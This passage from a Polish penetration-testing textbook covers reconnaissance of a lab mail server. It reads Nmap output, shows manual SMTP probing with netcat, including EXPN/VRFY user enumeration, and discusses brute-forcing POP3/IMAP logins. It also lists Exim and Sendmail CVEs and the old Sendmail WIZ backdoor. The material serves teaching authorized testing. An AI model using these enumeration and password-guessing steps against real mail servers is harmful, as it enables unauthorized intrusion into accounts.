z różnych części tego raportu, wykorzystując te informacje podczas badania kolejnych usług.
Nmap scan report for 192.168.48.102
PORT STATE SERVICE REASON VERSION
9/tcp open discard? syn-ack
21/tcp open ftp syn-ack ProFTPD 1.3.3a
|_auth-owners: nobody
25/tcp open smtp syn-ack Exim smtpd 4.68
|_auth-owners: Debian-exim
| smtp-commands: localhost Hello nmap.scanme.org [192.168.48.103], SIZE
52428800, EXPN, PIPELINING, HELP,
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
EXPN VRFY
37/tcp open time syn-ack (32 bits)
|_rfc868-time: 2019-01-15T13:46:19
79/tcp open finger syn-ack Linux fingerd
|_finger: No one logged on.\x0D
80/tcp open http syn-ack nginx 1.4.0
|_auth-owners: www-data
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.4.0
| http-title: HackerHouse - Login
|_Requested resource was src/login.php
110/tcp open pop3 syn-ack Cyrus pop3d 2.3.2
|_auth-owners: cyrus
|_pop3-capabilities: TOP LOGIN-DELAY(0) RESP-CODES IMPLEMENTATION(Cyrus
POP3 server v2) PIPELINING EXPIRE(NEVER) SASL(DIGEST-MD5 CRAM-MD5 NTLM)
APOP USER AUTH-RESP-CODE STLS UIDL
|_ Target_Name: MAILSERVER01
113/tcp open ident? syn-ack
|_auth-owners: oident
143/tcp open imap syn-ack Cyrus imapd 2.3.2
|_auth-owners: cyrus
|_imap-capabilities: Completed AUTH=DIGEST-MD5 BINARY SASL-IR OK UIDPLUS
CHILDREN AUTH=NTLM AUTH=CRAM-MD5 STARTTLS IDLE THREAD=REFERENCES
ATOMIC NAMESPACE CATENATE SORT MAILBOX-REFERRALS THREAD=ORDEREDSUBJECT
MULTIAPPEND RENAME UNSELECT URLAUTHA0001 ACL QUOTA LITERAL+ ANNOTATEMORE
IMAP4rev1 NO IMAP4 RIGHTS=kxte ID
| imap-ntlm-info:
|_ Target_Name: MAILSERVER01
443/tcp open ssl/http syn-ack nginx 1.4.0
|_auth-owners: www-data
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.4.0
| http-title: HackerHouse - Login
|_Requested resource was src/login.php
993/tcp open ssl/imap syn-ack Cyrus imapd 2.3.2
|_auth-owners: cyrus
|_imap-capabilities: Completed OK AUTH=DIGEST-MD5 BINARY SASL-IR

3681988c430c7fe1e8567c4e2f281f7b
3
172 Rozdział 6  Poczta elektroniczna

UIDPLUS AUTH=PLAIN CHILDREN AUTH=LOGIN AUTH=CRAM-MD5 AUTH=NTLM IDLE

THREAD=REFERENCES ATOMIC NAMESPACE CATENATE SORT MAILBOX-REFERRALS
THREAD=ORDEREDSUBJECT MULTIAPPEND RENAME UNSELECT URLAUTHA0001 ACL QUOTA
LITERAL+ ANNOTATEMORE IMAP4rev1 NO IMAP4 RIGHTS=kxte ID
| imap-ntlm-info:
|_ Target_Name: MAILSERVER01
995/tcp open ssl/pop3 syn-ack Cyrus pop3d 2.3.2
|_auth-owners: cyrus
|_pop3-capabilities: TOP LOGIN-DELAY(0) RESP-CODES PIPELINING
EXPIRE(NEVER) SASL(DIGEST-MD5 CRAM-MD5 NTLM LOGIN PLAIN) APOP
IMPLEMENTATION(Cyrus POP3 server v2) USER AUTH-RESP-CODE UIDL
| pop3-ntlm-info:
|_ Target_Name: MAILSERVER01
4190/tcp open sieve syn-ack Cyrus timsieved 2.3.2 (included w/cyrus
imap)
|_auth-owners: cyrus
MAC Address: 08:00:27:08:CC:B8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.16 - 4.6
Uptime guess: 0.036 days (since Tue Jan 15 12:54:25 2019)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Hosts: localhost, mailserver01; OSs: Unix, Linux; CPE:
cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 172.77 seconds
Raw packets sent: 26 (1.986KB) | Rcvd: 14 (1.238KB)

Wynik tego skanowania wygląda zupełnie inaczej niż ten, jaki uzyskaliśmy z pierwszego skanu.
Dzięki zastosowaniu dodatkowych opcji przy wywołaniu programu Nmap tym razem otrzymali-
śmy znacznie więcej informacji na temat usług działających na danym hoście, a nawet wykryliśmy
nową usługę dostępną na porcie 4190. Zwróć uwagę na nagłówki kolumn znajdujące się na po-
czątku raportu:
PORT STATE SERVICE REASON VERSION

Każdy otwarty port jest opisywany w osobnym wierszu, takim jak poniższy:
25/tcp open smtp syn-ack Exim smtpd 4.68

W tym przykładzie mowa jest o porcie TCP 25, który jest otwarty (STATE — OPEN), a za nim
działa usługa SMTP. Nmap stwierdził, że port jest otwarty, ponieważ otrzymał z niego pakiet TCP
typu SYN-ACK. To część trzyetapowego procesu nawiązywania połączenia, o którym mówiliśmy
już wcześniej. Oznacza on, że usługa jest otwarta i oczekuje sygnału ACK (potwierdzenia) od łą-
czącego się z nią klienta. Nmap był w stanie określić też, jakie oprogramowanie nasłuchuje na tym
porcie (zaraz dowiesz się, jak mu się to udało), i informuje nas, że jest to Exim smtpd 4.68. Exim to
nazwa oprogramowania, natomiast litera d w słowie smtpd oznacza, że działa ono jako demon.
Demonem (ang. daemon) nazywany jest program działający jako proces tła, który zwykle urucha-
miany jest automatycznie razem z systemem. Jak można się domyślać, 4.68 to numer wersji opro-
gramowania Exim.

3681988c430c7fe1e8567c4e2f281f7b
3
Skanowanie serwera pocztowego 173

Właśnie takich informacji można oczekiwać podczas skanowania prawdziwego serwera. W po-
danym zbiorze wyników skanowania znajduje się kilka ciekawych pozycji, ponieważ są one powią-
zane bezpośrednio z usługami poczty elektronicznej. To właśnie na nich skupimy się w tym roz-
dziale. Pozostałymi usługami będziemy się zajmować w kolejnych rozdziałach.
Przeprowadzając testy penetracyjne, z pewnością będziemy chcieli sprawdzać porty po kolei,
sondując je i uzyskując informacje na ich temat. Dopiero po zakończeniu prac nad jednym portem
należy przechodzić do kolejnego. Na razie możemy jednak pominąć port usługi FTP, o której bę-
dziemy mówić w rozdziale 9. „Pliki i współdzielenie plików”, oraz usługę discard. Zajmiemy się od
razu serwisem SMTP działającym na porcie 25. Wyniki skanowania trzech pierwszych otwartych
portów wyglądają następująco:
PORT STATE SERVICE REASON VERSION
9/tcp open discard? syn-ack
21/tcp open ftp syn-ack ProFTPD 1.3.3a
|_auth-owners: nobody
25/tcp open smtp syn-ack Exim smtpd 4.68
|_auth-owners: Debian-exim
| smtp-commands: localhost Hello nmap.scanme.org [192.168.56.103], SIZE
52428800, EXPN, PIPELINING, HELP,
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
EXPN VRFY

Sondowanie serwisu SMTP

Nmap automatycznie zgromadził dla nas informacje na temat portu 25. W kolumnach PORT, STATE,
SERVICE, REASON i VERSION umieszczone zostały informacje o samej usłudze, które na razie mogą
niewiele Ci mówić. Sprawdźmy zatem, jak można ręcznie uzyskać te same dane i w ten sposób spraw-
dzić, co oznaczają poszczególne wartości. W ten sposób będziemy mogli lepiej opisać protokół SMTP
oraz wszystkie inne protokoły.
Na początek nawiązujemy połączenie TCP z portem 25 badanego serwera. Jedną z metod po-
łączenia się z portem działającym na zdalnym serwerze jest użycie programu Netcat (w wierszu
poleceń należy posłużyć się poleceniem nc). Netcat to bardzo rozbudowane narzędzie, którego
będziemy często używać w tej książce. Na razie skorzystamy jedynie z możliwości odczytywania
i zapisywania danych do połączenia TCP. Składnia wywołania tego narzędzia jest bardzo prosta:
nc <AdresIP> <Port>

Aby połączyć się z serwisem SMTP działającym w naszej maszynie wirtualnej (przy założeniu,
że jej adres IP to 192.168.48.102), należy użyć poniższego polecenia:
nc 192.168.48.102 25

Netcat będzie domyślnie stosował połączenie TCP. Na razie jedyne, co zrobiliśmy, to otwarcie
połączenia TCP. Netcat nie rozpoznaje żadnych protokołów warstwy aplikacji, ale pozwala użyt-
kownikowi na wykonanie tej części pracy. Sam zajmuje się tylko obsługą podstawowego połącze-
nia. Na szczęście protokół SMTP nie jest szczególnie skomplikowany. Spróbujmy zatem udawać
agenta poczty użytkownika (czyli klienta poczty). Zanim zaczniesz wysyłać jakiekolwiek komuni-
katy, poczekaj na pojawienie się tego powitania:
220 localhost ESMTP Exim 4.68 Tue, 15 Jan 2019 14:05:09 +0000

3681988c430c7fe1e8567c4e2f281f7b
3
174 Rozdział 6  Poczta elektroniczna

ŁAPANIE POWITANIA

Łapaniem powitania (ang. banner grabbing) nazywany jest proces polegający na nawiązaniu
połączenia z serwisem i oczekiwaniu na wyświetlenie (lub przesłanie) przez niego powitalnej
wiadomości. Czasami okazuje się, że w takim powitaniu znajduje się całkiem sporo informacji.
Ostrożni administratorzy systemów zwracają uwagę na to, żeby wiadomość powitalna zawierała
jak najmniej informacji, dlatego czasami możemy odejść z pustymi rękami. Oczywiście takie po-
witania mogą również zawierać nieprawdziwe lub niepoprawne informacje. Narzędzia do ska-
nowania portów, takie jak Nmap, automatycznie zajmują się pobieraniem powitań, traktując to
jako część procesu skanowania. Nadal jest to całkiem skuteczna metoda zbierania informacji,
choć dane uzyskane w ten sposób trzeba traktować z pewną rezerwą.

Teraz możesz użyć polecenia HELO, aby zainicjować konwersację z serwisem SMTP. Jako para-
metr należy tu podać nazwę swojego hosta. Nie musisz w tym miejscu podawać nazwy hacker.
Serwer zadowoli się dowolną nazwą. Możesz też wypróbować polecenie EHLO, które informuje
serwer, że chcesz skorzystać z protokołu ESMTP (Extended SMTP).
HELO hacker

Serwer może wtedy odpowiedzieć na przykład w ten sposób:

250 localhost Hello hacker [192.168.48.100]

Jak widać, serwer potwierdza nasze powitanie i umieszcza w swojej odpowiedzi podaną przez
nas nazwę hosta, uzupełniając ją jeszcze o adres IP maszyny wirtualnej Kali Linux (adres Twojej
maszyny może być oczywiście inny). Teraz możemy spróbować wysłać e-mail, korzystając z tego
serwisu SMTP. Najpierw musimy podać własny adres e-mail (czyli adres nadawcy), używając do
tego poniższego polecenia:
MAIL FORM: hacker@mojadomena.pl

Jeżeli udało się poprawnie wpisać to polecenie, to na ekranie pojawi się kolejne, tym razem
krótsze potwierdzenie od serwera:
250 OK

Następnie należy podać adresata wysyłanej wiadomości.

RCPT TO: pewienpracownik@firma.pl

Jak widać, próbujemy tutaj wysłać wiadomość z jednego dowolnie wybranego adresu na inny
dowolnie wybrany adres. W naszym wirtualnym serwerze pocztowym próba wysłania wiadomości
z jednego adresu na inny (tak jak w powyższym przykładzie) zakończy się wyświetleniem komuni-
katu o błędzie:
550 relay not permitted

Na szczęście dla właściciela tego serwera pocztowego jego serwis SMTP nie został skonfiguro-
wany jako otwarty serwer przekazujący (ang. open relay). Oznacza to, że nie będzie on przekazywał
wiadomości na losowe adresy e-mail należące do obcej domeny.

3681988c430c7fe1e8567c4e2f281f7b
3
Skanowanie serwera pocztowego 175

Otwarte serwery przekazujące

Otwarte serwery przekazujące (ang. Open Relay) to funkcja protokołu SMTP, która dawniej była
powszechnie stosowania. Niestety była równie powszechnie wykorzystywana przez złośliwych
użytkowników internetu do rozsyłania spamu. Jak można się domyślać, w takiej usłudze źródłowy
adres e-mail może zostać sfałszowany, co oznacza, że znalezienie prawdziwego nadawcy jest nie-
zwykle trudne, szczególnie gdy ten korzysta z przejętego komputera. W tej chwili przyglądamy się
serwerowi pocztowemu odpowiedzialnemu za obsługę fikcyjnej firmy, dlatego powinien przyjmo-
wać wyłącznie wiadomości pochodzące z tej firmy, aby przesyłać je na cały świat. Oznacza to, że
serwis SMTP działający na porcie 25 jest agentem MTA, a zatem nie musi przejmować się obsługą
wiadomości przychodzących z całego świata do naszej firmy. Tym zadaniem zajmuje się agent MDA.
Z pewnością pamiętasz jeszcze, że część informacji pojawiała się zaraz po ustanowieniu połą-
czenia z serwisem. W tym powitaniu znajdowała się nazwa oprogramowania oraz numer jej wersji.
Spójrzmy jeszcze raz na tekst powitania:
220 localhost ESMTP Exim 4.68 Tue, 15 Jan 2019 14:05:09 +0000

Oprogramowanie serwera nosi nazwę Exim oraz numer wersji 4.68. To naprawdę istotna infor-
macja, którą należy dodać do ciągle rozrastającego się pliku lub arkusza z notatkami. Dokładnie tę
samą informację uzyskał program Nmap i umieścił ją w swoim raporcie ze skanowania. Na pewno
wykorzystamy te dane do poszukiwania znanych podatności i exploitów. Najpierw jednak poświę-
cimy chwilę na dalsze badanie protokołu SMTP. Po wpisaniu polecenia HELP uzyskasz listę pole-
ceń rozpoznawanych przez serwis. Co ciekawe, wcale nie trzeba wpisywać poleceń wielkimi lite-
rami, ponieważ polecenia wpisane małymi literami powinny działać dokładnie tak samo.
HELP
214-Commands supported:
214 AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP EXPN VRFY

Polecenia EXPN można użyć do rozwinięcia nazwy użytkownika do postaci pełnego adresu
e-mail. Już wcześniej dzięki analizie dostępnych otwartych źródeł danych uzyskaliśmy (poten-
cjalne) adresy e-mail albo całe listy mailingowe. Oczywiście można też spróbować szczęścia z typo-
wymi nazwami użytkowników, takimi jak admin.
EXPN admin

Serwer powinien teraz umieścić w odpowiedzi poniższy adres e-mail. Nie oznacza to jednak, że na
pewno istnieje w systemie użytkownik o nazwie admin, ani też, że to właśnie jest jego adres e-mail.
250 <admin@localhost.localdomain>

Można też wypróbować działanie polecenia VRFY.

VRFY admin
250 <admin> is deliverable

To już ważna informacja. Być może jednak istnieje w systemie adres admin@localhost.localdomain.
Warto teraz sprawdzić w ten sposób nazwę innego użytkownika. Taką, która niemal na pewno nie
istnieje.
VRFY falszywy_uzytkownik_na_pewno_nie_istnieje
250 <falszywy_uzytkownik_na_pewno_nie_istnieje> is deliverable

3681988c430c7fe1e8567c4e2f281f7b
3
176 Rozdział 6  Poczta elektroniczna

Serwer twierdzi, że ta niezwykle mało prawdopodobna nazwa użytkownika należy do kogoś,

kto będzie odbierał wiadomości. Można oczywiście skontrolować też inne nazwy użytkowników,
ale już teraz widać, że na tych informacjach raczej nie należy polegać. Jeżeli nasz klient korzysta
z serwisu pocztowego, który umożliwia wykrywanie w ten sposób prawdziwych nazw użytkowników
oraz adresów e-mail, oznacza to poważne kłopoty. Atakujący niewielkim nakładem pracy mógłby
uzyskać ogromną listę wszystkich użytkowników i ich adresów e-mail, po prostu wysyłając kolejne
żądania do serwisu SMTP. Nie bez powodu polecenie VRFY jest domyślnie wyłączane w nowocze-
snych serwerach pocztowych.
Ważne jest, żeby zawsze kontrolować wszystkie wykryte niezgodności, aby wykluczyć ewentu-
alne fałszywe pozytywy. Wiele automatycznych narzędzi nie robi tego albo nie jest w stanie wyko-
nać takiej kontroli, dlatego tak ważne są tutaj działania ręczne. Tutaj ujawnia się wartość etycznego
hakera. Na razie maszyny nie są w stanie zautomatyzować procesów hakowania tak dobrze, jak
robi to człowiek, choć to może się zmienić w przyszłości przez wykorzystanie technologii sztucznej
inteligencji i uczenia maszynowego.
Gratulacje! Właśnie poznaliśmy podstawy działania protokołu SMTP i skutecznie komuniko-
waliśmy się z serwerem. Warto tu poświęcić trochę czasu na dokładniejsze poznanie wszystkich
dostępnych poleceń serwera. Być może uda się znaleźć metodę wykorzystania tego serwisu do wy-
syłania wiadomości do pewnych pracowników firmy. Później, po włamaniu się na wybrane skrzynki
pocztowe, będzie można sprawdzić, czy te wiadomości dotarły do adresatów. Mała podpowiedź:
oprócz omówionych wyżej poleceń warte zainteresowania jest jeszcze polecenie DATA.

Protokół POP
Jeżeli teraz wrócisz do wyników skanowania portów, jakie wykonaliśmy wcześniej, to zaraz za otwar-
tym portem 25 zobaczysz port 37 związany z usługą „czasu”, a za nim port 79 używany przez usługę
„finger” oraz port 80 usługi http. Mimo że te usługi czasami pojawiają się na serwerze pocztowym,
to jednak żadna z nich nie ma związku z obsługą poczty.
37/tcp open time syn-ack (32 bits)
|_rfc868-time: 2019-01-15T13:46:19
79/tcp open finger syn-ack Linux fingerd
|_finger: No one logged on.\x0D
80/tcp open http syn-ack nginx 1.4.0
|_auth-owners: www-data
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.4.0
| http-title: HackerHouse - Login
|_Requested resource was src/login.php

Usłudze Finger przyjrzymy się dokładniej w dalszej części tego rozdziału, a każdy chyba wie już
dokładnie, co takiego ukrywa się za portem 80. Owszem, ten serwer udostępnia swoją własną wi-
trynę lub aplikację sieciową. Pozostawmy jednak te wszystkie usługi i wróćmy do poszukiwania
takich, które związane są z obsługą poczty.

3681988c430c7fe1e8567c4e2f281f7b
3
Skanowanie serwera pocztowego 177

Następnym otwartym portem jest port 110, pod którym działa serwer POP3. Poniżej przedsta-
wiamy jeszcze raz wybrany fragment wyniku skanowania programem Nmap. (Tym razem nie usu-
nęliśmy komunikatów skryptu ssl-cert).
110/tcp open pop3 syn-ack Cyrus pop3d 2.3.2
|_auth-owners: cyrus
|_pop3-capabilities: TOP LOGIN-DELAY(0) RESP-CODES IMPLEMENTATION(Cyrus
POP3 server v2) PIPELINING EXPIRE(NEVER) SASL(DIGEST-MD5 CRAM-MD5 NTLM)
APOP USER AUTH-RESP-CODE STLS UIDL
| pop3-ntlm-info:
|_ Target_Name: MAILSERVER01
| ssl-cert: Subject: commonName=hackbloc.linux01.lab/
organizationName=HackerHouse/stateOrProvinceName=HH/countryName=UK/
emailAddress=info@myhackerhouse.com/organizationalUnitName=HackerHouse/
localityName=test
| Issuer: commonName=Superfish, Inc./organizationName=Superfish, Inc./
stateOrProvinceName=CA/countryName=US/localityName=SF
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2016-12-01T11:34:00
| Not valid after: 2034-05-07T16:25:00
| MD5: 8e68 fc14 1986 959b 175b f81d c550 9829
| SHA-1: d807 aeb7 03b9 a2a2 6cc0 1e5e f93b 1740 861c 3766
| -----BEGIN CERTIFICATE-----
| MIIC4zCCAkygAwIBAgIIDqq2jwnbptswDQYJKoZIhvcNAQEFBQAwWzEYMBYGA1UE
| ChMPU3VwZXJmaXNoLCBJbmMuMQswCQYDVQQHEwJTRjELMAkGA1UECBMCQ0ExCzAJ
| BgNVBAYTAlVTMRgwFgYDVQQDEw9TdXBlcmZpc2gsIEluYy4wHhcNMTYxMjAxMTEz
| NDAwWhcNMzQwNTA3MTYyNTAwWjCBmzELMAkGA1UEBhMCVUsxCzAJBgNVBAgTAkhI
| MQ0wCwYDVQQHEwR0ZXN0MRQwEgYDVQQKEwtIYWNrZXJIb3VzZTEUMBIGA1UECxML
| SGFja2VySG91c2UxHTAbBgNVBAMTFGhhY2tibG9jLmxpbnV4MDEubGFiMSUwIwYJ
| KoZIhvcNAQkBFhZpbmZvQG15aGFja2VyaG91c2UuY29tMIGfMA0GCSqGSIb3DQEB
| AQUAA4GNADCBiQKBgQDc1wukol9bp2FK7nLK19nQWwQt4Q3mNkjsKn+i/YrsUz+K
| cYFzkWZ7tbDtSMXZZ6MCLKUQOhzW1Zbquzv5yUzWYNCxZuJ27fTUCT0tS7D7Wj/I
| QaciUa+9RmrT13HjEkOnkWgULV2i8lGtVJsoxpnWJQlkTskU/3QJKpWqQCWfvQID
| AQABo28wbTAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTbFHPGabB3qdba2t4EoS9P
| BxF/wzALBgNVHQ8EBAMCBeAwEQYJYIZIAYb4QgEBBAQDAgZAMB4GCWCGSAGG+EIB
| DQQRFg94Y2EgY2VydGlmaWNhdGUwDQYJKoZIhvcNAQEFBQADgYEAKYwKnHjV9VeC
| XSlFhcCD44k6wzjTtE3HJiIj0eGnWGioCcJra0J+RhbJ1wOQpc06Tvlk4Aqzx4M9
| Jo5q2c8aMo/ICrb/gGcEhgtDbFtA596i3CBwQ75C6lZRldYU8rGeaIshSXjn4vu8
| FEXa+pSszujtKu4FymLwy1E9hOxLPQY=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time

Nmap automatycznie pobrał wiadomość powitalną, dzięki czemu wiemy, że na tym porcie na-
słuchuje oprogramowanie Cyrus pop3d 2.3.2. Zaznaczamy, że pop3d oznacza tutaj demona proto-
kołu POP3 (Post Office Protocol w wersji 3.). Sam numer 3 oznacza numer wersji obsługiwanego
protokołu, natomiast oznaczenie 2.3.2 to numer wersji programu Cyrus, czyli powszechnie stoso-
wanego agenta dostarczania poczty (MDA). To za jego pomocą pracownicy firmy będą odbierać
swoją pocztę, używając przy tym protokołu POP3.

3681988c430c7fe1e8567c4e2f281f7b
3
178 Rozdział 6  Poczta elektroniczna

PRZESYŁANIE POCZTY ZA POMOCĄ SSL/TLS

W podanym wcześniej wydruku można zauważyć, że część portów otwartych na tym serwerze
korzysta z jakiegoś certyfikatu (ssl-cert). Tego rodzaju certyfikaty wykorzystywane są w połą-
czeniach SSL (Secure Socket Layer) albo TLS (Transport Security Layer). Dzisiaj całkiem normalne
jest to, że poczta jest przesyłana zaszyfrowanymi kanałami, a nie otwartym tekstem, co dawniej
było normą. Pamiętaj, że technologia TLS jest nowocześniejszą wersją SSL, choć oba skróty są
używane wymiennie.
Szyfrowaniem SSL/TLS zajmiemy się w kolejnym rozdziale. Na razie musisz tylko wiedzieć, że
porty używające tych certyfikatów, na przykład port TCP 110, pozwalają na prowadzenie zaszy-
frowanej komunikacji. To znaczy, że również wiadomości e-mail można przesyłać do i z serwera
nie w postaci czystego tekstu, ale w postaci zaszyfrowanej. Dzięki zastosowaniu szyfrowania do
usługi pocztowej dodawane są funkcje zapewniania poufności i integralności wiadomości. Nie-
stety atakujący nadal mogą realizować ataki SMTP, ponieważ te funkcje nie chronią samego ser-
wera pocztowego ani zapisanych w nim wiadomości. Ważne jest jednak to, że przesyłanych wia-
domości nie da się łatwo odczytać osobom trzecim.
Bezpieczne połączenie można zainicjować za pomocą polecenia STARTTLS. W przypadku
protokołu SMTP może się okazać, że serwer nie używa portu 25, ale za to udostępnia usługę na
porcie 456. Na tym porcie pojawia się usługa SMTP, która jest już zabezpieczona szyfrowaniem
SSL/TLS.
Trzeba też pamiętać, że w miejscach, gdzie używane jest szyfrowanie SSL/TLS, mogą pojawić
się podatności związane z samym szyfrowaniem SSL, takie jak błąd Heartbleed, o którym bę-
dziemy mówić w dalszej części tego rozdziału.

A zatem mamy do dyspozycji usługę POP działającą z trzecią wersją tego protokołu. Czasami
można jeszcze spotkać stare usługi POP2 działające na porcie TCP 109, ale dzisiaj są to już praw-
dziwe rzadkości. Coraz częściej za to obsługa protokołu POP3 pojawia się na porcie 995. Proble-
mem usług POP jest zwykle to, że nie obsługują one reguł blokowania kont. Innymi słowy, jeżeli
użytkownik kilka razy niepoprawnie poda swoje hasło, to… nic się nie dzieje. Dzięki temu można
próbować bez końca, aż do zgadnięcia hasła. Każdy serwer wykazujący takie zachowanie jest po-
tencjalnym celem dla ataków siłowego zgadywania hasła. Usługi POP uznawane są już za przesta-
rzałe i są powoli zastępowane przez bardziej rozbudowane i nowocześniejsze protokoły, takie jak
IMAP. Mimo to nadal jest to często spotykana usługa. Później będziemy ją wykorzystywać do prze-
prowadzenia ataku siłowego.

Protokół IMAP
Kolejnym, nowocześniejszym protokołem zdalnego dostępu do skrzynki pocztowej jest protokół
IMAP (Internet Message Access Protocol), który zazwyczaj jest udostępniany na portach 143 i 993.
Jeżeli jeszcze raz spojrzysz na wyniki skanowania Nmap, to zobaczysz, że i tak usługa działa na
naszym serwerze pocztowym. Na razie, przeglądając poniższy wycinek wyników skanowania, po-
miniemy usługę ident działającą na porcie 113:
113/tcp open ident? syn-ack
|_auth-owners: oident

3681988c430c7fe1e8567c4e2f281f7b
3
Oprogramowanie do obsługi poczty 179

Przejdźmy od razu do portu 143. Uzyskane na jego temat informacje są bardzo podobne do
tych, jakie widzieliśmy dla portu 110:
143/tcp open imap syn-ack Cyrus imapd 2.3.2
|_auth-owners: cyrus
|_imap-capabilities: Completed AUTH=DIGEST-MD5 BINARY SASL-IR OK UIDPLUS
CHILDREN AUTH=NTLM AUTH=CRAM-MD5 STARTTLS IDLE THREAD=REFERENCES
ATOMIC NAMESPACE CATENATE SORT MAILBOX-REFERRALS THREAD=ORDEREDSUBJECT
MULTIAPPEND RENAME UNSELECT URLAUTHA0001 ACL QUOTA LITERAL+ ANNOTATEMORE
IMAP4rev1 NO IMAP4 RIGHTS=kxte ID
| imap-ntlm-info:
|_ Target_Name: MAILSERVER01

Ta usługa IMAP również jest realizowana przez program Cyrus, choć tym razem ma on postać
demona IMAP. Zwróć uwagę na tekst Cyrus imapd 2.3.3, który Nmap uzyskał z wiadomości po-
witalnej. Protokół IMAP jest mniej podatny na ataki siłowe w porównaniu z POP3 i dlatego jest
zwykle integrowany w nowoczesnym oprogramowaniu sieciowym. Na przykład firma Microsoft
oferuje jego obsługę w swoich produktach Exchange i Active Directory. Usługi działające w syste-
mach Microsoft Windows zazwyczaj wyłączają konto użytkownika po pewnej liczbie prób wpro-
wadzenia hasła, dlatego warto tu zachować ostrożność. Podczas przeprowadzania ataku siłowego
sprawdzaj hasła na koncie jednego użytkownika, aby nie doprowadzić do masowego wyłączania
kont wielu różnych użytkowników. Najlepiej jest korzystać z tego rodzaju testów dopiero po wy-
czerpaniu wszystkich innych możliwości. Hackerzy już w poniedziałek o poranku atakujący siłowo
systemy Active Directory mogą spowodować spore zamieszanie wyłączaniem kolejnych kont użyt-
kowników. Gdy taki atak został przeprowadzony na serwerach pocztowych rządu brytyjskiego, in-
formacje o nim pojawiły się na pierwszych stronach gazet, ponieważ ujawniało to nieprawidłowości
w obsłudze poczty członków parlamentu. Parlamentarzyści nie mogli używać swoich zablokowanych
kont pocztowych, po tym jak atakujący masowo próbowali zgadywać hasła do rządowych kont.
To tylko jeden przykład obrazujący potrzebę stosowania logicznych i przemyślanych procesów
oraz unikania raptownego uruchamiania automatycznych narzędzi. Poznawanie stosowanych pro-
cesów jest równie ważne jak poznawanie poszczególnych technik. Ataki siłowe należy przeprowa-
dzać ostrożnie i w ścisłej współpracy z klientem, aby mieć pewność, że taki atak nie doprowadzi do
zakłóceń w pracy organizacji. W razie potrzeby takie testy można przeprowadzić w uzgodnionych
wcześniej godzinach. Metody zgadywania haseł to bardzo ważne narzędzie w arsenale hakera, ale
nie należy ich stosować bez uprzedniego rozpoznania ewentualnych efektów ubocznych, jakie
mogą się pojawić w systemach klienta.

Oprogramowanie do obsługi poczty

Teraz przyjrzyjmy się oprogramowaniu, z którym się już zetknęliśmy, a w którym istnieją pewne
historyczne podatności. Już wcześniej widzieliśmy agenta MTA o nazwie Exim (obsługa protokołu
SMTP) oraz agenta MDA o nazwie Cyrus (obsługuje protokoły POP i IMAP).

3681988c430c7fe1e8567c4e2f281f7b
3
180 Rozdział 6  Poczta elektroniczna

Exim
Exim jest powszechnie stosowanym programem pocztowym, działającym jako agent transferu
poczty. Poniżej prezentujemy listę podatności wykrytych w ciągu kilku ostatnich lat, którymi na
pewno warto się zainteresować:
CVE-2010-4345: Remote string_format heap overflow
(zdalne przepełnienie sterty string_format),
CVE-2010-4344: Privilege escalation (podniesienie uprawnień),
CVE-2015-0235: GHOST libc() exploit (exploit dla funkcji GHOST libc()),
CVE-2016-1531: Privilege escalation (podniesienie uprawnień),
CVE-2019-15846: Remote Code Execution (zdalne wykonanie kodu),
CVE-2019-16928: Heap Overflow Remote Code Execution
(zdalne wykonanie kodu przez przepełnienie sterty),
CVE-2019-13917: Remote Code Execution (zdalne wykonanie kodu),
CVE-2019-10149: Remote Command Execution (zdalne wykonanie kodu).

Sendmail
Program Sendmail został napisany w latach 80. XX wieku i od tego czasu był ciągle rozwijany przez
społeczność otwartych źródeł i użytkowników Uniksa, aż do 2013 roku, gdy prawa do programu
zostały wykupione przez firmę Proofpoint. Z programem związana jest długa lista starych i ciekawych
podatności. Poniżej podajemy dwie wyjątkowo ciekawe podatności, o których warto poczytać:
CVE-2006-0058: Remote signal handling bug (błąd obsługi zdalnych sygnałów),
CVE-2003-0161: Remote prescan() code execution
(zdalne wykonanie kodu przez funkcję prescan()).
Program Sendmail jest tak stary, że część z jego podatności jest starsza od systemu CVE. Mimo
swojego wieku jest nadal bardzo często używany. W pewnym momencie istniała nawet wersja pro-
gramu, która zawierała tylną furtkę nazwaną Sendmail Wizard. Oczywiście dzisiaj nie natkniemy
się już na działające wersje ze wspomnianą tylną furtką, ale i tak warto wiedzieć, jak była ona wy-
korzystywana. W momencie połączenia z serwisem SMPT prowadzonym przez Sendmail wystar-
czyło wprowadzić polecenie WIZ i podać hasło. W przykładzie z rysunku 6.2 używane jest hasło
wizard, natomiast na rysunku 6.3 można zobaczyć kod źródłowy odpowiedzialny za obsługę tej furtki.
Pierwotnie ta furtka miała umożliwiać administratorom systemów dostęp do ograniczonej po-
włoki na zdalnym serwerze pocztowym. Teraz wiemy, że pomysł był od początku nietrafiony, po-
nieważ każdy, kto wiedział o tej „funkcji”, mógł z niej swobodnie skorzystać.
W latach 80. XX wieku można się było natknąć na tę problematyczną wersję na serwerach wielu
klientów. Dzisiaj ta wersja już właściwie nie występuje nigdzie. Prezentujemy ją tutaj jako cieka-
wostkę dla osób interesujących się historycznymi podatnościami. Poznanie wpadek z przeszłości
często pozwala na lepsze zrozumienie istoty dzisiejszych podatności.

3681988c430c7fe1e8567c4e2f281f7b
3
Oprogramowanie do obsługi poczty 181

Rysunek 6.2. Sendmail Wizard

Rysunek 6.3. Kod źródłowy tylnej furtki

Cyrus
W wynikach skanowania Nmap prowadzonego na naszym wirtualnym serwerze pocztowym wi-
dzieliśmy działający program Cyrus (https://www.cyrusimap.org). Umożliwia on uruchomienie de-
monów obsługujących protokoły IMAP oraz POP3. Ten ostatni jest protokołem powoli wycofy-
